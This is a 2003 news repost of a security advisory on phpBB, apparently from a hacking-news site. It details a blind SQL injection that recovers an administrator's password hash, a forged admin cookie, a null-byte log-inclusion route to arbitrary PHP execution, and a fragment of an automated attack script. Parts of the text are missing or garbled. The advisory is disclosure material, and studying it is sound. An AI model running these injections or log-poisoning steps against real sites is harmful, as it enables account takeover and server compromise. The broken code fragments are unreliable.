Users login

Create an account »


Users login

Home » Hacking News » phpBB Security Bugs

phpBB Security Bugs

by Nikola Strahija on February 22nd, 2003 phpBB, the most popular open source bulletin board software on the net, is vulnerable to a remotely exploitable SQL injection bug which allows stealing an administrator's password hash.

phpBB Security Bugs 2-18-2003

Security Issue in phpBB 2.0,2.01, 2.02 (Fixed in 2.03)

phpBB, the most popular open source bulletin board software on the net, is
vulnerable to a remotely exploitable SQL injection bug which allows
stealing an administrator's password hash. With the hash, an attacker may
login and gain complete control of the administrative side of the system.

The actual attack carried out via a select fish attack, by manipulating
the select query in the page_header.php file in order to return users
online based on certain criteria, such as characters of their password

For example, if the user is attemping to hack a user_id of '40' he will
request the following page:


The resultant query will be:

SELECT u.username, u.user_id, u.user_allow_viewonline, u.user_level,
s.session_logged_in, s.session_ip FROM phpbb_users u, phpbb_sessions s
WHERE u.user_id = s.session_user_id AND s.session_time >= 1035778374 AND
s.session_page = 1 or user_id=40 and mid(user_password,1,1)=char(97)/*
ORDER BY u.username ASC, s.session_ip ASC

If a correct password hash digit is guessed, the admin's name will show up
as an online user, in the online user list at the bottom of the forum
page. After the password hash is determined, it is then placed in the
cookie and access is granted to the site.

So if the user_id is 32360 and the password hash is
6a204bd89f3c8348afd5c77c717a097a, then an attacker would take the
following value:

5:"31360";} 1536 1063947136 29596959 197425936 29523534 *

urlencode() it, and place it in a cookie with the variable
name 'phpbb2support_data', then access would be gained to the admin panel
on any phpbb site.

One could use a script to speed the process of exploiting this
vulnerability. Something similar to the script at the end of this document.

Security issue in PHPbb 1.4.x

PHPbb, the most popular open source bulletin board software on the net, is
vulnerable to a remotely exploitable file manipulation attack, which may
allow an attacker to execute arbitrary php code on the system.

It involves the following code which is located in auth.php:


This code strips all slashes from incoming user data, thereby unescaping
any user inputed NULL bytes. An attacker can then supply a null byte ('%
00' when urlencoded) , and any characters which come after the null byte
arent treated as part of the file name. This is because when the PHP
interpreter reads the file name, it will stop at the first null byte.

In this particular situation, the ability to poison the filename is
significant, because a user may then load any file on the system into the
interpreter and have PHP execute it. For example, if a user selects a
language of value:

'/../../../var/logs/apache/access.log%00' ,

The apache access.log will be included by this attack.

This flaw can be exploited by registering an account, logging in, and then
calling the following url. (replace user=admin with the registered name,
and passwd=asdfasdf with corresponding password):


What good is the ability to execute any file on the target server? Well
consider if the attacker calls the url:;

The PHP command is stored in the apache access.log file, and then executed
by the include() function, thereby allowing an attacker to execute
arbitrary PHP on any target server.

PHPbb responded: " As for the 1.4.4 bug, we won't fix that. We've said
time and again that there are many security flaws in 1.4.4 and that any
sane webmaster should upgrade to 2.x. Please don't bother searching for or
notifying us of phpBB 1.x bugs."

########## PHPBB 2.0,2.01,2.02 Auto-SelectFish Attacker
########## [email protected]

// To use this program, simply upload it to a php enabled webserver, and
// If php times out before the whole password hash is determined,
// adjust the maximum script execution time in php.ini
// Also, replace following with correct values:


// don't change this
$data_to_match="In total there are 0 users online";


while (list($i2, $i2val) = @each($checkchar)){
if (eregi("$data_to_match","$data")){
$i= $i2"); flush();break;}

function sendToHost($host,$method,$path,$data,$useragent=1)
$method = strtoupper($method);
$fp = fsockopen($host,80);
fputs($fp, "$method $path HTTP/1.1n");
fputs($fp, "Host: $hostn");
fputs($fp, "Content-type: application/x-www-form-urlencodedn");
fputs($fp, "Content-length: " . strlen($data) . "n");
if ($useragent)
fputs($fp, "User-Agent: Mozillan");
fputs($fp, "Connection: closenn");
if ($method == 'POST')
fputs($fp, $data);
while (!feof($fp))
$buf .= fgets($fp,128);

return $buf;


Vulnerability discovered by: David Zentner, [email protected]

Newsletter signup

Signup to our monthly newsletter and stay in touch with IT news!

Free E-books

We've got ebooks! But they're not online. :( Please give us a few days to bring downloads back.


Have something to say or just wanna drop us a line? Please keep this in mind: to spam, we reply with spam.

Contact us »